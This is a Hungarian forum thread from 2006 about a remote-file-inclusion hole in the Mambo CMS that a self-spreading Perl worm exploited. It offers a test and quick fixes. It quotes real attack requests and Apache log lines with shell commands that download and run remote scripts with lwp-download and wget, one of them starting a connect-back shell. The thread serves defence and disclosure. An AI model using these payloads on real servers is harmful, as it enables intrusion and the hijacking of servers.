Címlap

Mambo sebezhetőség

 ( kovzol | 2006. január 18., szerda - 21:18 )

Az elmúlt napokban egy új szőnyegbombázó tűnt fel, ami ügyesen használja ki a Mambo egy biztonsági hibáját. A Mambot futtató szerverünk maga is könnyen áldozattá, mi több, szőnyegbombázóvá válhat.Január 13-án pénteken a késő esti órákban kezdődött a nemzetközi támadássorozat: a szerverünk 32 óra leforgása alatt 287 helyről kapott kifejezetten a Mambot támadó http-kérést. A kérés formája a következő:

http://támadott.gép/mambo_könyvtár/index.php?
_REQUEST[option]=com_content&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=
http://www.fullcrew.net/cmd/tool25.dat?&
cmd=cd%20/tmp/;lwp-download%20
http://shikoe.net/mambo2.txt;perl%20mambo2.txt;
rm%20-rf%20mambo2.txt*

(A backslash --- "vissza-per" --- karaktereket nem kell kiírni, csak az olvashatóságot növelik.)

A lényeg a mosConfig_absolute_path változó beállításánál van, ugyanis a Mambo nagyon sok fájlban használja a következő kódsort:

require_once($GLOBALS['mosConfig_absolute_path'] . TOVÁBBI_ELÉRÉSI_ÚT);

(A require_once helyett require, include, include_once is előfordul.)

A Mambo fejlesztői oldalán november 17-én már feltűnt egy kapcsolódó javítás, ami azonban ezt a támadást --- úgy tűnik --- nem védi ki. Egyelőre úgy tűnik, nincs hivatalos javítás a fejlesztői oldalon, viszont a trükköző Perl program rohamosan terjed.

A következő módon tesztelhetjük, hogy a Mambo szerverünk potenciális áldozat-e (a Perl script a Google-ról szedi a Mambot futtató áldozatai webcímét):

Készítsünk egy PHP scriptet x.php néven a webszerverünk fő webkönyvtárába ilyen tartalommal:

$f=fopen("/tmp/teszt.txt","w");
fwrite($f,"védtelen");
fclose($f)
?>

Ha ezután a következő webkérés létrehoz a szerver /tmp könyvtárában egy teszt.txt fájlt "védtelen" tartalommal, akkor a Mambo szerverünk valóban védtelen:

http://a.szerverünk.címe/mambo_könyvtár/index.php?
_REQUEST[option]=com_content&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=
http://a.szerverünk.címe/x.php?

(Ismét nem kell beírni a backslash-eket.)

Ha nincs szerencsénk, a fertőzött Mambo szervert futtató gépek valamelyike minket is megtalál, lefuttatja a http://shikoe.net/mambo1.txt vagy http://shikoe.net/mambo2.txt címen található Perl scriptet, ami "kotfare" néven kezdi folyamatosan felemészteni a szerverünk erőforrásait, folyamatosan keresve további áldozatok után. A szerverünk lelassul, a sávszélességünk bedugul, egy idő után pedig a webszerver processz is feladja, ha egyszerre túl sok Perl scriptet kell indítania. (Ennek a pontos forgatókönyvére még nem jöttem rá, de remélem, nem is lesz rá szükség.)

Az általam javasolt gyorsjavítás a következő:

A Mambo szerverünk index.php fájljába írjuk be a következőket (pl. a require_once( 'configuration.php' ); sor után):

$a=$GLOBALS[mosConfig_absolute_path];
$x=strpos($a,"http");
if (($x===0) || ($x>0)) die();

Egy másik lehetőség, hogy root-ként a /tmp könyvtárban létrehozzuk a mambo1.txt és mambo2.txt fájlokat, üres tartalommal, majd chmod 000 mambo[1-2].txt-vel megakadályozzuk, hogy a kérdéses Perl script a szerverünkre felíródjon. Persze, ez a megoldás nem annyira elegáns, és csak átmeneti jellegű.

Az elmúlt 60 órában további 400 támadást regisztráltunk, főként európai szerverekről, így Magyarországról is.

 »
  • A hozzászóláshoz belépés szükséges
  • 6060 olvasás

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.
 ( kovzol | 2006. január 18., szerda - 22:01 )

Sajnos, a "visszaper" karakterek lemaradtak (a sorok végén lettek volna). Hasonlóan lemaradt a PHP kód elejéről a "kisebb jel" "kérdőjel" php fejléc.

 ( bzz | 2006. január 18., szerda - 22:27 )

Ha jól értelmezem a dolgot, akkor ehhez a sebezhetőséghez a szerveren a register_globals-nak be kell kapcsolva lennie, különben nem tudod "felülirni" a változókat. Szerintem első körben ezt kellene kikapcsolni, bár sok helyen nem lehetséges még(régi kódok miatt).

Nem biztos, hogy ez a hiba, nem próbáltam ki.

 ( csko | 2006. január 18., szerda - 22:39 )

Sajnos valóban sok helyen még register_globals on módban fut a php. Ezen felül persze rengeteg más gyengesége lehet egy php/webserver konfigurációnak.

Egyébként pedig van mód a működést befolyásolni többféleképpen is(.htaccess file-lal, ez kicsit megint biztonsági veszélyt jelent; vagy az extract(), foreach(), unset() és barátai segítségével is elérhető egy register_globals off vagy on állapot)

 ( andrej_ | 2006. január 18., szerda - 22:45 )

Ha jól látom allow_url_fopen szintén kell hozzá, amit szvsz jobb eleve tiltani. Szintén kell open_basedir hiány hozzá.

 ( Sea-you | 2006. január 19., csütörtök - 12:02 )

Ezert hasznalok mod-security-t :))

 ( andrej_ | 2006. január 19., csütörtök - 12:07 )

Ez ellen milyen rule véd, amíg még a hibát neme ismered?

 ( Hunger | 2006. január 19., csütörtök - 12:29 )

Akkor neked abban kell reménykedned, hogy a ModSecurity-ben lévő biztonsági hibákat senki sem használja ki a gépeden... ;P

 ( lordlsd | 2006. január 19., csütörtök - 12:29 )

ez a hiba mar par hete megy a webappsec levlistan, onnan szedtem ezt a linket:

http://seclists.org/lists/fulldisclosure/2005/Nov/0528.html

elvileg ezt a hibat hasznalja ki a script. itt viszont eppen azt irjak hogy register_globals OFF eseten sebezheto a mambo.

 ( bzz | 2006. január 19., csütörtök - 13:21 )

Megnéztem a linket, utána olvastam a forráskódban, szerintem nincsen hiba (és még mindig nincsen mambo.txt-nk :))

Elvileg minden php kód futtatása csak az index.php-n keresztül történhet. A globals.php beinclude-olása után a configurations.php-t include-olja be, ahol elvileg felül kellene irnia a $GLOBALS['mosConfig_absolute_path'] változót.

Tehát nem értem, mert ha a szőnyegbombázás létezik, akkor a hibát is ki lehet használni...

 ( bzz | 2006. január 19., csütörtök - 13:31 )

Megvan, ez inkabb php hibának tűnik:

$GLOBALS["GLOBALS"] = "";
$GLOBALS["almafa"] = "kortefa";
$almafa = "barackfa";
echo $GLOBALS["almafa"];

Azt irja ki, hogy kortefa, mig az első sor nélkül azt, hogy barackfa. Tehát a hiba igazából ott van, hogy hagyja kinullázni a GLOBALS tömböt.

A barackfa lenne a biztonságos megoldás, a kortefa-val törhetőek ténylegesen a mambok.

A PHP dokumentációjában nem sok információt találtam arról, hogy a GLOBALS felülirása esetén miért vannak ilyen gondok...

 ( bzz | 2006. január 19., csütörtök - 13:51 )

Igen, a mambosok is igy gondoljak:

http://forum.mamboserver.com/showthread.php?t=66154

 ( Sea-you | 2006. január 19., csütörtök - 15:03 )

ezt pl nezem: cd%20/tmp/

 ( Sea-you | 2006. január 19., csütörtök - 15:08 )

Meg mindig jobban jarok, mintha a KispistaCMS hibai miatt kene naponta takaritanom :P Amugy milyen modsecurity hibarol tudsz perpill? :))

 ( Panther | 2006. január 19., csütörtök - 16:12 )

Nekem 1 hónapja vannak ilyenek az apache logban:
202.83.220.135 - - [18/Dec/2005:13:36:44 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]
=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/
listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 282

 ( Panther | 2006. január 19., csütörtök - 16:13 )

Pl valamelyik változó (paraméter) értéke http://-vel kezdődik. Én ezt nézem.

 ( addams | 2006. január 19., csütörtök - 16:56 )

Régebben is próbálkoztak, csak akkor még nem ezzel a szkripttel:

web.spin.it - - [25/Nov/2005:18:44:38 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]
=com_
content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://195.120.109.25/cmd.gif?&cmd=cd%20/tmp;wget%20217.160.255.44
/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;
echo| HTTP/1.1" 404 216 "-" "Mozilla/4.0 (compatible; M
SIE 6.0; Windows NT 5.1;)"